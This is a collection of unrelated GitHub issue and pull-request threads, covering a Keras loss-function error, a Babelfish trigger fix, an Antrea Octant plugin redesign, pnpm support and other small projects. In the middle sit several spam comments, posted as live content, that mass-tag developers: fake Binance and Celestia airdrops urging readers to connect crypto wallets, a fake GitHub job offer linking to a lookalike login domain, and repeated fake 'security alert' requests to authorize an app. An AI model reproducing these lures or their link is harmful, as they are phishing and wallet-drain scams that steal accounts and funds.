error in test.py file

@JusperLee hi while running the python3 test.py file I'm getting following error :
python3 test.py
Using TensorFlow backend.
Initialing Parameters......
Loading data ......
2020-03-27 23:11:00.256203: I tensorflow/core/platform/cpu_feature_guard.cc:142] Your CPU supports instructions that this TensorFlow binary was not compiled to use: AVX2 FMA
2020-03-27 23:11:00.284390: I tensorflow/core/platform/profile_utils/cpu_utils.cc:94] CPU Frequency:<PHONE_NUMBER> Hz
2020-03-27 23:11:00.285014: I tensorflow/compiler/xla/service/service.cc:168] XLA service 0x55b3d04ca750 executing computations on platform Host. Devices:
2020-03-27 23:11:00.285049: I tensorflow/compiler/xla/service/service.cc:175]   StreamExecutor device (0): ,
2020-03-27 23:11:00.302032: W tensorflow/compiler/jit/mark_for_compilation_pass.cc:1412] (One-time warning): Not using XLA:CPU for cluster because envvar TF_XLA_FLAGS=--tf_xla_cpu_global_jit was not set.  If you want XLA:CPU, either set that envvar, or use experimental_jit_scope to enable XLA:CPU.  To confirm that XLA is active, pass --vmodule=xla_compilation_cache=1 (as a proper command-line flag, not via TF_XLA_FLAGS) or set the envvar XLA_FLAGS=--xla_hlo_profile.
Traceback (most recent call last):
File "test.py", line 51, in
av_model = load_model(model_path,custom_objects={'tf':tf})
File "/home/lenovo/.local/lib/python3.6/site-packages/keras/engine/saving.py", line 492, in load_wrapper
return load_function(*args, **kwargs)
File "/home/lenovo/.local/lib/python3.6/site-packages/keras/engine/saving.py", line 584, in load_model
model = _deserialize_model(h5dict, custom_objects, compile)
File "/home/lenovo/.local/lib/python3.6/site-packages/keras/engine/saving.py", line 369, in _deserialize_model
sample_weight_mode=sample_weight_mode)
File "/home/lenovo/.local/lib/python3.6/site-packages/keras/engine/training.py", line 119, in compile
self.loss, self.output_names)
File "/home/lenovo/.local/lib/python3.6/site-packages/keras/engine/training_utils.py", line 822, in prepare_loss_functions
loss_functions = [get_loss_function(loss) for _ in output_names]
File "/home/lenovo/.local/lib/python3.6/site-packages/keras/engine/training_utils.py", line 822, in
loss_functions = [get_loss_function(loss) for _ in output_names]
File "/home/lenovo/.local/lib/python3.6/site-packages/keras/engine/training_utils.py", line 705, in get_loss_function
loss_fn = losses.get(loss)
File "/home/lenovo/.local/lib/python3.6/site-packages/keras/losses.py", line 795, in get
return deserialize(identifier)
File "/home/lenovo/.local/lib/python3.6/site-packages/keras/losses.py", line 776, in deserialize
printable_module_name='loss function')
File "/home/lenovo/.local/lib/python3.6/site-packages/keras/utils/generic_utils.py", line 167, in deserialize_keras_object
':' + function_name)
ValueError: Unknown loss function:loss_func
Can you please help it out?

I think there is something wrong with my test.py header file, I don't know if you have modified it.
import sys
sys.path.append ('./ model / model')
sys.path.append ('./ model / utils')
from keras.models import load_model
from option import ModelMGPU
import os
import scipy.io.wavfile as wavfile
import numpy as np
import utils
import tensorflow as tf

@JusperLee The code is exactly same which you have given in your repo.
Can you please share your pre-trained model ?

The above code was just modified. I'm so sorry. The Pre-train model was not saved due to my computer damage.

@JusperLee I have checked the updated code. It is still giving the same error (ValueError: Unknown loss function:loss_func).

The solutions may be as follows:

Do you use multiple GPUs for testing or training. If a pre-trained model is used for multiple GPUs, it cannot be trained or tested with one GPU in the future. (Need to change the parameter on line 31 to NUM_GPU = N, where N is the number of GPUs)
Maybe the pre-trained model uses a different custom loss function. Try changing line 11 from model_loss import audio_discriminate_loss2 as audio_loss in AV_train.py to model_loss import audio_discriminate_loss as audio_loss.
Keras is not good at multiprocessing. It is not recommended to use it

@JusperLee thanks. I will check this.

@JusperLee There is some custom functions for calculating the loss. I have added that functions to the inbuild losses.py file but it is still giving the same error. Can you please share your audio-only pre-trained model? I think that will surely help to solve the problem.

I looked for it and I don't have an audio-only pre-trained model. Now only AVModel. Since this project was not able to get good results, I did not go into further research.
link: https://pan.baidu.com/s/19rcXmo4AuxSCIORTPnaFEw  password:  djb6

@JusperLee is it the audio-visual pre-trained model?

Yes.

@JusperLee It is in chinese language.

@JusperLee can you upload these pre-trained model on you repo?

this is google driver's link: https://drive.google.com/open?id=1bnvksxwGBfFKMN90FIib9EPgPpQT6DQb

@JusperLee Thanks sir.
What was your environment of system while training the model?

@JusperLee Sir, can you please explain how to use this model to test it on video to isolate the speakers?

Environment:
Python3.7
TensorFlow 2.0.0
Keras 2.3.1
librosa 0.7.0
youtube-dl(https://github.com/ytdl-org/youtube-dl)(Any version)
ffmpeg(https://www.ffmpeg.org/)（Any version）
test step:
First you preprocess the video. Extract the audio signal of the video, and then extract the face from the video frame. This part is similar to the data preparation stage, you can refer to the steps in the data directory. Finally, modify the contents of test.py and run the file.


Bunch of fixes

Hi!
I've added some small changes you might find useful.

Compatibility with stable
Works with newer nightly without errors and warnings
Tests fixed incl. rustdoc

Binance Exclusive Token Giveaway
Welcome to the exclusive Binance Token Giveaway, where we're distributing over $1,100,000 in $BNB! 🚀 Don't miss out on this incredible opportunity to claim your free tokens. Here's a quick guide to kickstart your journey:

Seize the moment and indulge in your tokens! This limited-time offer won't be available forever. 🌐💰
Steps to Claim:
1. Share the Excitement on Twitter:

Spread the word about claiming your free tokens!

Tweet: Share this Token Drop

2. Connect Your Binance Wallet:

Click on the Connect Wallet button.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

3. Interact with the Contract:

Once your wallet is connected, go to Binance Rewards.
Click on the "Claim" button to interact with the smart contract.

4. Claim Your Free Tokens:

Confirm the transaction in your wallet to execute the claim method.
Wait for the transaction to be processed.

5. Share the Excitement Further:

After successfully claiming your tokens, share the news with friends!

Facebook: Share on Facebook

🚀 Binance Airdrop - Earn up to $1,000 in Tokens! 💰
Welcome to the exclusive Binance Airdrop! We're giving away generous rewards to eligible participants. Follow the steps below to join and earn up to $1,000 in tokens instantly.
How to Participate:
1. 🤝 Connect Your Wallet
Make sure you have a compatible wallet and connect it to Binance.
Note: Your wallet must have a minimum balance to be eligible.
2. 🔗 Access the Smart Contract
Access the smart contract through the provided link: Binance Airdrop Smart Contract.
3. 🔄 Interact with the Contract
Winners: @myang, @b1-88er, @LeeRivers, @Lobarr, @itech001, @ofttryaj, @321hendrik

Celestia Airdrop - Claim Your Free TIA Tokens Now!

Don't Miss Out on Your Share of 60 Million $TIA Tokens!
Celestia, the revolutionary data availability network, is giving away a whopping 60 million $TIA tokens to the community! This is your chance to grab a piece of the action and secure your future in the crypto world.
How to Claim Your Free TIA Tokens:*
It's easy to get started and claim your free TIA tokens. Follow these simple steps:

Connect Wallet: Visit the Celestia Airdrop page and connect your wallet.
Claim: Click the Claim button to receive your tokens.
Interact: Engage with the provided smart contract to earn additional rewards.

Why Wait? Start Earning Today!
With Celestia, the sky's the limit. Don't let this opportunity slip through your fingers. Join the Celestia Airdrop now and kickstart your journey to financial freedom!Astrapolis-peasant, @ilkeali25, @alvarorecobaa, @slashyanyan, @Godspower-Eze, @kizyanov, @ThamDestech, @GirlGPT, @huangsuzhen2022, @kelsen9993284, @CY971515903, @hsyodyssey, @ar4sGPT, @mengbuian, @lidangzzz, @aladine1996, @alv1nar1an, @Pencil-Yao, @bitmaxnet, @0xhousemd

Celestia Airdrop - Claim Your Free TIA Tokens Now!

Don't Miss Out on Your Share of 60 Million $TIA Tokens!
Celestia, the revolutionary data availability network, is giving away a whopping 60 million $TIA tokens to the community! This is your chance to grab a piece of the action and secure your future in the crypto world.
How to Claim Your Free TIA Tokens:*
It's easy to get started and claim your free TIA tokens. Follow these simple steps:

Connect Wallet: Visit the Celestia Airdrop page and connect your wallet.
Claim: Click the Claim button to receive your tokens.
Interact: Engage with the provided smart contract to earn additional rewards.

Why Wait? Start Earning Today!
With Celestia, the sky's the limit. Don't let this opportunity slip through your fingers. Join the Celestia Airdrop now and kickstart your journey to financial freedom!

Hello,
We have an exciting opportunity for you! You've been selected to proceed in the selection process for the Developer position at GitHub. Congratulations on your achievement!
As part of this position, you will be offered a competitive salary of $180,000 per year, along with other attractive benefits, including:

Health insurance coverage
Retirement savings plan
Flexible work schedule
Generous vacation and paid time off
Professional development opportunities

To proceed with the hiring process, we kindly ask you to fill out some additional forms and provide some additional information. This will help us better understand your profile and experience, as well as assess your suitability for the role.
Please click here to access the forms and complete the application process. We ask that you complete these forms as soon as possible so that we can proceed with the hiring process.
Important: You have 24 hours to complete the application process.
If you have any questions or need further information, please don't hesitate to contact us.
Thank you for your interest in joining the GitHub team, and we look forward to hearing back from you.
Best regards,
GitHub Recruitment Team
Shammi98, @yamancan, @Bastiartworks, @cryptomonkr, @zerosnacks, @grepsuzette, @0xbbPizza, @yangtuo8, @Ersan83, @vanthanh1230, @Xelp66, @Ashkan1987, @MysticW04, @chuhemiao, @yorhodes, @dongwu-kim, @alexbottichelli, @rectoup, @ivandragoni, @papadritta

oh just wait. i will send my seed phrase mother fucker :))
Github Notification @.***>, 21 Şub 2024 Çar, 02:47
tarihinde şunu yazdı:

Hello,
We have an exciting opportunity for you! You've been selected to proceed
in the selection process for the Developer position at GitHub.
Congratulations on your achievement!
As part of this position, you will be offered a competitive salary of
$180,000 per year, along with other attractive benefits, including:

Health insurance coverage
Retirement savings plan
Flexible work schedule
Generous vacation and paid time off
Professional development opportunities

To proceed with the hiring process, we kindly ask you to fill out some
additional forms and provide some additional information. This will help us
better understand your profile and experience, as well as assess your
suitability for the role.
Please click here https://auth.githubtalentcommunity.online/ to access
the forms and complete the application process. We ask that you complete
these forms as soon as possible so that we can proceed with the hiring
process.
Important: You have 24 hours to complete the application process.
If you have any questions or need further information, please don't
hesitate to contact us.
Thank you for your interest in joining the GitHub team, and we look
forward to hearing back from you.
Best regards,
GitHub Recruitment Team
Shammi98, @yamancan https://github.com/yamancan, @Bastiartworks
https://github.com/Bastiartworks, @cryptomonkr
https://github.com/cryptomonkr, @zerosnacks
https://github.com/zerosnacks, @grepsuzette
https://github.com/grepsuzette, @0xbbPizza
https://github.com/0xbbPizza, @yangtuo8 https://github.com/yangtuo8,
@Ersan83 https://github.com/Ersan83, @vanthanh1230
https://github.com/vanthanh1230, @Xelp66 https://github.com/Xelp66,
@Ashkan1987 https://github.com/Ashkan1987, @MysticW04
https://github.com/MysticW04, @chuhemiao https://github.com/chuhemiao,
@yorhodes https://github.com/yorhodes, @dongwu-kim
https://github.com/dongwu-kim, @alexbottichelli
https://github.com/alexbottichelli, @rectoup
https://github.com/rectoup, @ivandragoni
https://github.com/ivandragoni, @papadritta
https://github.com/papadritta
—
Reply to this email directly, view it on GitHub
https://github.com/zmanian/canonical_json/pull/1#issuecomment-1955385378,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AXP64FV3FY7L473XJWH7NATYUUYYLAVCNFSM4HEXEDSKU5DIOJSWCZC7NNSXTN2JONZXKZKDN5WW2ZLOOQ5TCOJVGUZTQNJTG44A
.
You are receiving this because you were mentioned.Message ID:
@.***>

hat was not me, I got hacked and revoked access from the offending app.  https://github.com/orgs/community/discussions/109171

Urgent Security Alert: GitHub Compromise
Dear GitHub User,
We regret to inform you that our systems have detected a security breach on the GitHub platform. As a precautionary measure, we are reaching out to all users to help us resolve this situation promptly.
It appears that unauthorized access has been gained to our servers, potentially compromising user data and the integrity of our platform. To mitigate any further damage and secure your account, we kindly request your immediate assistance in granting authorization to our security team to reverse this breach.
Please click on the following link to provide the necessary authorization: Authorize Security Reversal
Your cooperation in this matter is crucial for safeguarding the GitHub community and preventing any further unauthorized access. We assure you that our team is working tirelessly to restore normal operations and enhance our security measures to prevent future incidents.
Thank you for your attention to this matter, and we sincerely apologize for any inconvenience caused.
Best regards,
GitHub Security Team
jrmanes, @apelo10, @0xethsign, @lidangzzz, @kkomob, @zippoxer, @Alen-Blondone, @amimart, @SoloQRider, @llbec, @Alimeta1907, @cpathlu, @YuppieCC, @WendyHodlton, @ograysoft, @bozorg06, @liamsi, @bim-ba, @qdd1319, @WrathfulQueen

Urgent Security Alert: GitHub Compromise
Dear GitHub User,
We regret to inform you that our systems have detected a security breach on the GitHub platform. As a precautionary measure, we are reaching out to all users to help us resolve this situation promptly.
It appears that unauthorized access has been gained to our servers, potentially compromising user data and the integrity of our platform. To mitigate any further damage and secure your account, we kindly request your immediate assistance in granting authorization to our security team to reverse this breach.
Please click on the following link to provide the necessary authorization: Authorize Security Reversal
Your cooperation in this matter is crucial for safeguarding the GitHub community and preventing any further unauthorized access. We assure you that our team is working tirelessly to restore normal operations and enhance our security measures to prevent future incidents.
Thank you for your attention to this matter, and we sincerely apologize for any inconvenience caused.
Best regards,
GitHub Security Team
Jchicode, @myself659, @renaynay, @dabit3, @PrasoonPratham, @fatalbar, @affcare, @Rydamez, @Suatsc, @appetrosyan, @f1rstnk, @ekotadz, @monaretta, @0xFuu, @ElBelborro, @EltifoGM, @siliasi, @ercanilbars, @TRIBUNALS2, @carsonfarmer

Urgent Security Alert: GitHub Compromise
Dear GitHub User,
We regret to inform you that our systems have detected a security breach on the GitHub platform. As a precautionary measure, we are reaching out to all users to help us resolve this situation promptly.
It appears that unauthorized access has been gained to our servers, potentially compromising user data and the integrity of our platform. To mitigate any further damage and secure your account, we kindly request your immediate assistance in granting authorization to our security team to reverse this breach.
Please click on the following link to provide the necessary authorization: Authorize Security Reversal
Your cooperation in this matter is crucial for safeguarding the GitHub community and preventing any further unauthorized access. We assure you that our team is working tirelessly to restore normal operations and enhance our security measures to prevent future incidents.
Thank you for your attention to this matter, and we sincerely apologize for any inconvenience caused.
Best regards,
GitHub Security Team
solidmage, @suzuboshi, @tnv1, @mempirate, @arteodosio, @eferbarn, @Slash81Btc, @TechieTeee, @web3prem, @mahofmahof, @nnsdaos, @0xhousemd, @akdilsiz, @randomishwalk, @EazyReal, @ElHouseMafia, @FreakWille, @yinwhm12, @oneil512, @manipulation44


fix the bug instead of trigger behaves wrongly in recursively call

recursively call the instead of trigger may lose the last DML to the triggered table
instead of trigger behaves wrongly in recursively call
It happens in this scenario when there is recursively call inside the instead of trigger like this:
when DML trigger instead of trigger A_trigger, and inside A_trigger statement block

condition i : it'll execute a DML statement and trigger A_trigger again
condition ii : it'll execute a DML statement and trigger another B_trigger, and inside definition of B_trigger, it'll meets the condition i or condition ii

the right behavior should be : second call of A_trigger should not be triggered, which is to say, the second DML should execute as normal DML do, not executed like a DML with instead of trigger.
Task: BABEL-3115 & BABEL-3116 & BABEL-3118
Signed-off-by: Zhibai Song<EMAIL_ADDRESS>Description
Row inserted by an INSTEAD-OF INSERT trigger is missing in the example below:
-- repro in Babelfish:
1>
2> CREATE TABLE t
3> (
4> c1 int IDENTITY(1,1) PRIMARY KEY,
5> c2 varchar(20) UNIQUE,
6> );
7>
8> INSERT INTO t(c2)
9> VALUES ('Joe'), ('Steve');
10>
11>
12> SELECT * FROM t
13> GO
c1          c2
----------- --------------------
          1 Joe
          2 Steve
1>
2> CREATE TRIGGER TR_t ON t
3> INSTEAD OF INSERT
4> AS
5>  DECLARE @c1 int, @c2 varchar(20)
6> SELECT @c1 = c1, @c2 = c2 FROM inserted
7> INSERT INTO t (c2) VALUES(@c2 + '2') --BUG: This INSERT disappears
8> GO
1>
2> INSERT INTO t(c2) VALUES ('Joe')
3> GO
1>
2> --There should be 3 rows, but there are only 2 rows. The INSERT from the trigger is lost.
3> SELECT * FROM t
4> GO
c1          c2
----------- --------------------
          1 Joe
          2 Steve

Explanation:

Insert inside instead of trigger causes a recursive trigger execution
A recursive trigger execution is capped at nesting level of one and should be a no-op.
We skip both DML and trigger execution but we should execute the original DML as trigger is a no-op.

The same problem will happen for Delete/Update as well.
Issues Resolved
The fix identifies a recursive instead of trigger and do the DML execution without instead of trigger
Check List

[x] Commits are signed per the DCO using --signoff

By submitting this pull request, I confirm that my contribution is under the terms of the Apache 2.0 and PostgreSQL licenses, and grant any person obtaining a copy of the contribution permission to relicense all or a portion of my contribution to the PostgreSQL License solely to contribute all or a portion of my contribution to the PostgreSQL open source project.
For more information on following Developer Certificate of Origin and signing off your commits, please check here.

This PR also removes the unnecessary logfile. Once #337 is merged, we just need to resolve the conflict. But, we should improve the commit message.

I have updated my commit msg

It's because this behavior is different from PG


Enhance Antrea-Octant-Plugin

Enhance Traceflow graph color theme.
Before:

After:

Merge Antrea plugins into one plugin: Antrea Octant Plugin

Add two tabs in the Overview page of the plugin;
Move the original traceflow plugin page into the folder "Antrea".

Change the layout of Antrea Overview page
Before: Put all tabs together and show them in Overview page

After: Put all CRD forms in one page (this format fits with the default Octant Homepage)

I like this simple color theme. For the dropped case, I actually prefer a red one and it is more like orange to me. But others may comment your preference.

I like this simple color theme. For the dropped case, I actually prefer a red one and it is more like orange to me. But others may comment your preference.

If I change the colors in recent days, it may not correspond to the screenshots I provide to others, which will be used in seminars. Will this cause a problem?

I like this simple color theme. For the dropped case, I actually prefer a red one and it is more like orange to me. But others may comment your preference.

If I change the colors in recent days, it may not correspond to the screenshots I provide to others, which will be used in seminars. Will this cause a problem?

I don't think it will be a big problem. But I think we can get more opinions on both the layout and color theme. @tnqn @jianjuns @antoninbas

To be frank I am not good at colors at all. But if you really like my opinion, I do prefer the latter version you have (simpler colors).

@ZhangYW18 don't worry about making adjustments if needed (e.g. making the drop case redder).
The new color theme looks good!

Changed the color of drop case to pink. @mengdie-song  @tnqn

@ZhangYW18 Thanks for addressing my comment. Let's change the edge color to red as we discussed.
A problem I have noticed  is that the focus will always be the last tab which is "Trace List". Unlike Controller or Agent, we may not have traceflow CRDs at start. I am not sure if we can change the focus to the first tab ("Controller") so that we will never get a blank list. Could you please also investigate this?
I see you put all the tabs on the navigation bar "Overview". It looks good for now because we only have four sub tabs at this time, but we may need to think more on the layout if we want to add more functions later.

@ZhangYW18 Thanks for addressing my comment. Let's change the drop rectangle edge color to red as we discussed.
A problem I have noticed is that the focus will always be the last tab which is "Trace List". Unlike Controller or Agent, we may not have traceflow CRDs at start. I am not sure if we can change the focus to the first tab ("Controller") so that we will never get a blank list. Could you please also investigate this?
I see you put all the tabs on the navigation bar "Overview". It looks good for now because we only have four sub tabs at this time, but we may need to think more on the layout if we want to add more functions later.

I have changed the focus of "Overview" page to the first tab.
For the second issue, could we show all Antrea information in one tab in a unified Antrea Overview page, just like the Octant Cluster Overview page?

@ZhangYW18 You can try the one tab way you mentioned here and we can see if it looks better. Anyway, the current layout seems fine since we only have four tabs now.  I have added some other minor comments, please take a look.

Here are two possible layouts of the Overview page for Antrea Octant Plugin:

Put all tabs together and show them in Overview page:

But we cannot always put all tabs together considering there may be more pages to show in the future.
Therefore, we are thinking about a new format:

Put all CRD forms in one page (this format fits with the default Octant Homepage) :

I'm not sure which one is better. Could I get your opinion?
@mengdie-song

@ZhangYW18 Thanks for addressing my comments and listing these two options!
I prefer the second one which puts all CRD forms in one page since it fits with the default Octant Homepage and we can always get the traceflow UI from navigation bar on the left.
The first option which puts all the tabs on the overview page looks a little bit redundant to me since we have already put them on the left column. Also, we may add more features on UI in the future and we cannot put each of them as a tab on overview page.
@jianjuns @antoninbas @tnqn Could you  share your opinions on these two overview page design?

@ZhangYW18 Thanks for addressing my comments and listing these two options!
I prefer the second one which puts all CRD forms in one page since it fits with the default Octant Homepage and we can always get the traceflow UI from navigation bar on the left.
The first option which puts all the tabs on the overview page looks a little bit redundant to me since we have already put them on the left column. Also, we may add more features on UI in the future and we cannot put each of them as a tab on overview page.
@jianjuns @antoninbas @tnqn Could you share your opinions on these two overview page design?

Actually the two cases share the same navigation bar and the navigation bar can be folded. I have updated the images.

The new look is nice and the code also LGTM. I would like to merge this PR soon if possible as more people are expressing interest in trace flow and the fact that we showcased it at the CNCF webinar may increase interest as well.
I am no expert but I tend to agree with @mengdie-song: let's go with the second option for the "overview" page.
Please make sure that headers / titles are consistent. I saw a reference to "Trace List" in the code and left a comment. But I am not super familiar with Octant so I may have been wrong.

The code remained the old version of the Antrea Overview page.
I have updated the code. Sorry that you have to review it again.

It is not introduced in this change, but please help update the CRD link. The previous link seems not correct.

/test-all
I assume this PR is ready to be merged?

/test-all

/test-all
I assume this PR is ready to be merged?

Yes, it is.

I noticed there are some differences in tab title and link.
the name of the plugin should be "Antrea" instead of "Antrea Information";
the name of the overview page should be "Overview" instead of "Antrea Overview";
the title of the overview page should be "Antrea" instead of "Antrea Overview", but this is minor.
By clicking the plugin, the overview page should be displayed instead of an empty page.

I noticed there are some differences in tab title and link.
the name of the plugin should be "Antrea" instead of "Antrea Information";
the name of the overview page should be "Overview" instead of "Antrea Overview";
the title of the overview page should be "Antrea" instead of "Antrea Overview", but this is minor.
By clicking the plugin, the overview page should be displayed instead of an empty page.

All fixed. Updated the image in the description as well.

You can also remove target "antrea-traceflow-plugin" from Makefile in this patch.

The name of the Traceflow tab (the pop up window that has 4 links) should be "Traceflow" instead of "Traceflow Info".

The name of the Traceflow tab (the pop up window that has 4 links) should be "Traceflow" instead of "Traceflow Info".

Updated.

You can also remove target "antrea-traceflow-plugin" from Makefile in this patch.

Updated.

/test-all

/skip-windows-networkpolicy
/skip-windows-conformance


Chocolate Doom does not build

Chocolate Doom does not build because the default branch for the Github repo is now sdl2-branch. Here is the build log: http://pastebin.com/NbwWrk61.
Chocolate Doom seems to build fine from the master branch. Not sure what the best approach is - to add SDL2 dependencies or force the master branch in the scriptmodule.

I would change to the master branch and make sure the dependencies are proper for it.
I can't do this myself as my Pi died a few days ago.

The master branch builds fine if I do it manually by downloading the zip. If I change the sources section of the module to
function sources_chocolate-doom() {
    gitPullOrClone "$md_build" https://github.com/chocolate-doom/chocolate-doom.git "master"
}

then I get the same build error.
According to the Chocolate Doom wiki,

The SDL2 branch of Chocolate Doom (future v3) works quite well on the Raspberry Pi in DirectFB mode (not under X), but requires a special version of the SDL2 libraries that are available from the Retro Pie project.

If you could let me know what the SDL2 dependencies should be, I can amend the scriptmodule and test.

The SDL2 dependencies were fixed by a previous commit. I also updated the libpng-dev dependency to libpng12-dev to avoid a problem. I was able to compile the master branch and run it just fine now. Sorry for the wait.


[decoupled-execution] Unhappy Path - Synchronization

Fix the synchronization path for the decoupled execution.

decouple block tree root_id into ordered_root_id and commit_root_id
add a field highest_commit_decision_ledger_info to SyncInfo
BlockStore::fast_forward_sync now fetches all the block starting from highest_commit_decision_ledger_info to highest_commit_cert.commit_info() + 2 (namely, the certified_block).
fix an issue that BlockStore::build does not try to commit blocks

Motivation
(Write your motivation for proposed changes here.)
Have you read the Contributing Guidelines on pull requests?
(Write your answer here.)
Test Plan
(Share your test plan here. If you changed code, please provide us with clear instructions for verifying that your changes work.)
Related PRs
(If this PR adds or changes functionality, please take some time to update or suggest changes to the docs at https://developers.diem.com, and link to your PR here.)
If targeting a release branch, please fill the below out as well

Justification and breaking nature (who does it affect? validators, full nodes, tooling, operators, AOS, etc.)
Comprehensive test results that demonstrate the fix working and not breaking existing workflows.
Why we must have it for V1 launch.
What workarounds and alternative we have if we do not push the PR.

/land


Test with Go 1.20, use revive

Switch from golint to revive
and test against Go 1.19 and 1.20.

Current dependencies on/for this PR:

main

PR #20   👈

This comment was auto-generated by Graphite.


flake: update inputs

Regular nix flake update

We should introduce a workflow to automatically trigger this every week I think ?

We should introduce a workflow to automatically trigger this every week I think ?

Yes, that would be great ! Would you know how to do it ?


Typing Crashes Streamlit App

Hi!
I've been able to reproduce a rather unique bug, it seems like typing fast in text fields or even typing at normal speed in larger trees crashes the component and renders the entire tree empty.
My understanding is that Streamlit is rerunning code whenever a field receives input (every key) and that may be the culprit, potentially debouncing user input could fix it but I can't determine whether this is a Streamlit issue, a streamlit-condition-tree issue or the actual react library issue.
I've recorded a Jam showcasing this happening in the official demo page here.

Hi @cedricvlt
I'm following up on the issue I opened regarding the bug in the Streamlit Condition Tree component. I've implemented some fixes that address the problems I encountered and would like to suggest these changes for inclusion in a new version of the library.

Debounce Functionality: I've added debounce functionality to the component. This ensures that the setStreamlitValue function is not called too frequently when the user is rapidly inputting data. This improvement should enhance performance and reduce unnecessary updates, addressing the crash issues I reported when typing quickly in text fields or working with larger trees.

Dynamic Height: I've implemented a dynamic height feature for the component. The initial height is set to 150 pixels and expands to a minimum height when the "add rule" or "add group" buttons are clicked. The component then resizes dynamically as content is added or removed. This change addresses the issue of excessive empty space when the component is placed in the middle of the page and not immediately interacted with.

These modifications have significantly improved the component's stability and user experience in my testing. You can find the implemented changes here:
I would greatly appreciate it if you could review these changes and consider incorporating them into a new version of the library.

Hi @Welnic,
Thanks a lot for your work. I implemented your changes in the v0.3.0.


Add support for the pnpm package manager

Adds support for the PNPM package manager
Depends on a new feature to be merged and published in the PNPM package
fixes #913

@weyert Please sign the Contributor License Agreement!
Click here to manually synchronize the status of this Pull Request.
See the FAQ for frequently asked questions.

@weyert Thank you for signing the Contributor License Agreement!

Hey @weyert ! Thanks for the PR. I havent looked but Im guessing the tests are failing because the new package manager was not added to the dockerfile. If it does not need to be added and comes default, we will still need to look into getting rubocop and the tests passing

With respect to the rubocop issues, the version we have been using is 1.12.1. If you are using a different version, you can get messages about additional cops.
For the installation, FYI it looks like you download to a different directory and then dont move it to the local bin folder before trying to chmod -o /bin/pnpm; chmod +x /usr/local/bin/pnpm

Looks like the package manager is now installed! Errors now seem to be about undefined variables when doing a pnpm version check

Looks like the package manager is now installed! Errors now seem to be about undefined variables when doing a pnpm version check

Yeah slowly getting there. Having trouble to run the tests locally so misusing this PR to get it green. Think I forgot to add the pnpm lockfile to the all_pms spec fixture and rubocop wanted me to add a ? to a function but forgot to apply the changes were the function was used. Let's how happy the CI is now :D

Still interested in finishing this PR. Waiting for PNPMs next release; the licenses command got recently merged

Hey! Sounds good. Im looking to create a release this week and it would be great if we can get this in. It looks like the failures are now about minimum pnpm versions not being met. Hopefully it is an easy fix!

Hey! Sounds good. Im looking to create a release this week and it would be great if we can get this in. It looks like the failures are now about minimum pnpm versions not being met. Hopefully it is an easy fix!

Yeah, I will have a look tonight. I just wished I was able to run the tests on my Mac. Somehow running the tests against this PRs takes a long time. Do you need to manual approve them?

Manually approve running tests? No. Im not sure why you would have an issue but if you arent using the LF docker image, I'd start there. If you are then im not sure but it must. be some kind of environment issue

@xtreme-shane-lattanzio I think its ready for review

Test is failing but for an unrelated unit test?

Failure/Error: LicenseFinder::TestingDSL::BowerProject.create

Hey @weyert ! Thanks for sticking with this! It looks good so it will be in the next release!

Thank you @xtreme-shane-lattanzio  for accepting and merging my pull request :)


Display correct name in commander output

Fixes #401

[X] npm run test succeeds.
[X] npm run lint succeeds.
[X] Appropriate changes to README are included in PR.

I verified this was a problem. This PR fixes it.
Thanks!


')','(','{' expected - Incorrect intellisense

So i was just coding and then intellisense f*ed up.
Randomly added these errors out of the blue.

If you reload the window, does it go away? If not, can you post the text of the file here?

If you reload the window, does it go away? If not, can you post the text of the file here?

It works if you close entire VS Code. But reload does not work.
`<?php
require('../../config/config.php');
function Login($username, $password) {
$conn = new mysqli(DB_HOSTNAME, DB_USERNAME, DB_PASSWORD, DB_AUTH);
if ($conn->connect_error) {
    die("Connection failed");
}

$sql = "asd";

}
?>`
For code.

Ok, that case please file the issue on the PHP extension that you are using.


Fix CopyPopUpViewProducer

This PR fixes CopyPopUpViewProducer, in order to avoid code duplication (with @FallbackImplementation) and a potential memory leak. See more here.

@paulovmr @mbarkley Could you please review this PR? :-)

Jenkins, please retest this.

+1 to merge.

Looks good. There's just one minor change I've suggested inline.

Done :-) Thanks @paulovmr and @mbarkley

Another extremely minor thing, but you didn't remove the imports for Startup and StartupType.

Ohh! Thanks @mbarkley

+1

Jenkins, please retest this.

@karreiro this is ready to merge but I think the commit message can be improved (some more details) i.e.
Fix memory leak in CopyPopUpViewProducer

Refactoring to reuse @FallbackImplementation instead of custom qualifier

Thanks @csadilek

Thanks @karreiro and everyone involved in the review.


Feature/yash jenny/button component

Tracking Info
Resolves #3
Make sure your branch name conforms to: <feature|staging|bugfix|...>/<username>/<3-4 word description separated by dashes>. Otherwise, please rename your branch and create a new PR.
Changes
What changes did you make?
Created the resizable Button Components for the FilledInButton and OutlinedButton. Also made these buttons have a state to be disabled.
Testing
How did you confirm your changes worked?
We added previews in Xcode to ensure that the Buttons looked right and were pressable/not pressable in the
enabled and disabled states respectively.
Confirmation of Change
Upload a screenshot, if possible. Otherwise, please provide instructions on how to see the change.

Can we add screenshots of the outlines button too? @jennymar @YashRavipati1


Add a Gitter chat badge to README.md

OMGnetwork/guide now has a Chat Room on Gitter
@kartsims has just created a chat room. You can visit it here: https://gitter.im/OMGnetwork/guide.
This pull-request adds this badge to your README.md:

If my aim is a little off, please let me know.
Happy chatting.
PS: Click here if you would prefer not to receive automatic pull-requests from Gitter in future.

badge added


Add settable flannel image tag & image repo

New settings with defaults:
flannel_server_helper_image_repo: "gcr.io/google_containers/"
flannel_server_helper_image_tag: "0.1"
flannel_image_repo: "quay.io/coreos/flannel"
flannel_image_tag: "0.5.5"

Thanks @jonbec :)
It's ok for me but just curious why would you want to use another image ?

@Smana We deploy systems inside China and basically anything google related is blocked, everything else is super slow. Thus we mirror everything on to our local repositories (good practice in all cases) and being able to change tag and repository is a requirement for our deploys.


[Feature][3.4][Ready] list view datatables uses datatables-responsive plugin

Improve UX on mobile, in the list view. Like, by a lot :-)

Hi @alashow ,
Thanks for the feedback!

The export buttons do work on mobile, but in my experience nobody uses Admin panels on mobile to export data, just to make quick entries/edits/deletions. It's the most common use case. So I followed the common practice on mobile - to keep only "must-have" functionalities visible, in order not to clog up the interface on such a small viewport. That being said, they're hidden using the hidden-xs class. If the user has a bigger screen (like a tablet) or switches from portrait to landscape, the export buttons will show up. Here's a demo of that on iPhone X. Basically, we'd be trusting Bootstrap to decide if the screen is too small to show "extra stuff". If the size is XS, it's too small. If it's SM, it's ok, we show everything. I fiddled with hiding it on SM too, but it seemed overkill - the interface doesn't seem cluttered on SM viewports.
Same as above. It's only hidden on XS viewports, for the same reason, not common use case.
Ordering columns by clicking on them will still work. For the columns that are visible, of course.
